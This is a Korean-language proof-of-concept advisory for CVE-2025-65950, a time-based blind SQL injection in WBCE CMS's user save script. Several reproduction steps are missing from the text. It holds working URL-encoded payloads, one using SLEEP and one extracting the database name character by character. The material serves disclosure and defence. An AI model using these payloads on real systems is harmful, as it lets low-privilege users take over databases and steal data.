
WBCE CMS의 치명적인 시간 기반 블라인드 SQL 인젝션 취약점에 대한 개념 증명 익스플로잇으로, 낮은 권한의 사용자가 임의의 SQL 쿼리를 실행하고 데이터베이스 내용을 유출할 수 있게 합니다.
| 항목 | 세부 정보 |
|---|
| CVE ID | CVE-2025-65950 |
| 심각도 | CRITICAL |
| 보안 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
사용자 관리 모듈의 치명적인 SQL 인젝션 취약점으로 인해, 사용자를 수정할 수 있는 권한이 있는 낮은 권한의 인증된 사용자가 임의의 SQL 쿼리를 실행할 수 있습니다. 이는 전체 데이터베이스 손상, 데이터 유출로 이어져 모든 보안 통제를 사실상 우회할 수 있습니다.
취약점은 사용자 프로필 업데이트를 처리하는 admin/users/save.php 스크립트에 존재합니다. 이 스크립트는 사용자 편집 양식에서 전송된 groups[] 매개변수를 부적절하게 처리합니다.
개념 증명은 시간 기반 블라인드 SQL 인젝션을 사용하여 임의 SQL 실행을 확인하는 것입니다.
users_modify 권한이 있는 그룹에 속한 인증된 사용자 계정. 이 사용자는 전체 관리자일 필요가 없습니다.
재현 단계:
a. 낮은 권한의 사용자로 로그인합니다. b. "Access" -> "Users"로 이동하여 수정할 사용자를 선택합니다.



d. `groups[]` 매개변수를 다음 URL 인코딩된 페이로드로 수정합니다. 이 페이로드는 데이터베이스가 10초 동안 대기하도록 시도합니다: groups%5B%5D=2%27+%2C+%60active%60+%3D+SLEEP(10)+--+
*(디코딩된 페이로드: 2' , `active` = SLEEP(10) -- )*
f. 수정된 요청을 전송합니다.
3. 검증:

데이터 유출 예: 데이터베이스 이름 추출
**문자 테스트용 예제 페이로드:**
groups%5B%5D=2%27+%2C+%60active%60+%3D+IF(SUBSTRING(DATABASE()%2C+1%2C+1)+%3D+%27w%27%2C+SLEEP(5)%2C+0)+--+
이 수동 프로세스를 계속하면 전체 데이터베이스 이름과, 결과적으로 데이터베이스의 다른 모든 데이터를 알아낼 수 있습니다.


사용자 프로필에 무해한 변경만 할 수 있어야 하는 낮은 권한의 사용자가 데이터베이스에 대한 전체 제어권을 얻을 수 있습니다.
영향은 다음과 같지만 이에 국한되지는 않습니다:
이 CVE는 조율된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.